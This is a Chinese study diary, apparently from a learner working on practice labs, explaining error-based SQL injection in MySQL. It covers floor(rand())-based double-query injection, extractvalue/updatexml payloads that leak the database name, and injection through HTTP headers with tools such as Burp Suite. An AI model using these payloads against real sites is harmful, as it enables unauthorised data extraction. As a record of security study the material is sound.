20200227 SQL注入及杂事
报错型注入
昨天学了基于时间型和基于布尔型的盲注,今天整个报错型的注入
基本分为:
-
双查询注入
-
基于
extractvalue/updatexml
的报错注入
双查询注入
核心函数:
floor(rand(14)*2)
分析rand()与floor()在双查询中的作用
数据库:
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
mysql> select floor(rand(14)*2) from information_schema.schemata;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
1.floor(rand(14)*2)) ×2可以使范围落在[0,1]内,rand(14)的前4位是1010更快报错
2.rand()函数执行的次数取决于数据库的多少,即from后面的目标
基本的句式: 这里报出的是当前数据库
mysql> select(concat((select database()),floor(rand(14)*2)))c,count(*) from information_schema.tables group by c;
ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'
关于floor(rand()*2)的深究
基本原理是是在计数时count(*)
,临时生成了一张key-tally
表,key记录每一行数据的所属,就如同下边的每一行数据中的表tables
所属的库名,key
不可重复,tally
为计的数。
mysql> select table_schema, count(*) from information_schema.tables group by table_schema;
+--------------------+----------+
| table_schema | count(*) |
+--------------------+----------+
| challenges | 1 |
| dvwa | 2 |
| information_schema | 40 |
| mysql | 24 |
| performance_schema | 17 |
| security | 4 |
| test | 1 |
+--------------------+----------+
但对于rand()
,MySQL
在处理它时会进行两次计算,第一次是在检测时,第二次是在写入时,如果两次值不同且第二次的值在key-tally
表中存在,就会报错,故它的报错原理是写入了重复的键key
,比如floor(rand(14)*2)
生成的随机数为1010001,检测为1可以写入,但是写入时再次计算变成了0,0就被写入为key
,第二次检测为1可以写入,但写入时又进行了计算变为0,若再次写入0就会重复添加了key
,造成报错。
mysql> select floor(rand(14)*2) from information_schema.schemata;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
问题来了:
当我进行测试floor(rand(92)*2)
时,按照上述原理应该会报错的,但是计算了800+次还是没有报错,我就很纳闷……希望以后的我会来看时能解决
下面是前8次计算值,最后很奇怪为什么会有下面的结果,我分析的话0应该有3个,1应该有4个
+-------------------+
| floor(rand(92)*2) |
+-------------------+
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
mysql> select floor(rand(92)*2)c, count(*)from information_schema.schemata group by c;
+---+----------+
| c | count(*) |
+---+----------+
| 0 | 2 |
| 1 | 5 |
+---+----------+
基于extractvalue/updatexml的报错注入
基本原理: extractvalue/updatexml
函数内有个路径参数,当这个路径参数格式写错时,会产生报错并返回该错误路径,故可以在错误的路径中添加查询语句。
基本格式:
mysql> select extractvalue(rand(),concat(1,database()));
ERROR 1105 (HY000): XPATH syntax error: 'security'
mysql> select updatexml(rand(),concat(1,database()),1);
ERROR 1105 (HY000): XPATH syntax error: 'security'</pre>
http header注入
在post
和get
都无效时,可以尝试http header
注入
不同类型:
-
User-Agent
型 -
Referer
型 -
Cookie
型
User-Agent 型
原理:修改User-Agent
的值,进行SQL
注入,与get
和post
的原理一样
-
抓包,拿到头部数据
-
对
User-Agent
进行修改 -
发送改后的包
工具
-
burpsuite
-
火狐插件
HackBar
-
火狐插件
HTTP Header Live
-
火狐插件
Modify Headers
用后面两个插件就可以了

Referer 型
-
抓包,拿到头部数据
-
对
User-Agent
进行修改 -
发送改后的包
-
火狐插件
HackBar
-
火狐插件
HTTP Header Live
-
火狐插件
Modify Headers
Cookie 型
原理:对Cookie
的value
进行SQL
注入,原理类似
-
火狐插件
HackBar
-
火狐插件
HTTP Header Live
-
火狐插件
Cookie Editor
image
杂事
下午刷了一些盲注的题,尝试使用手工测试,测试了大半天才搞完一题,明天学学sqlmap
吧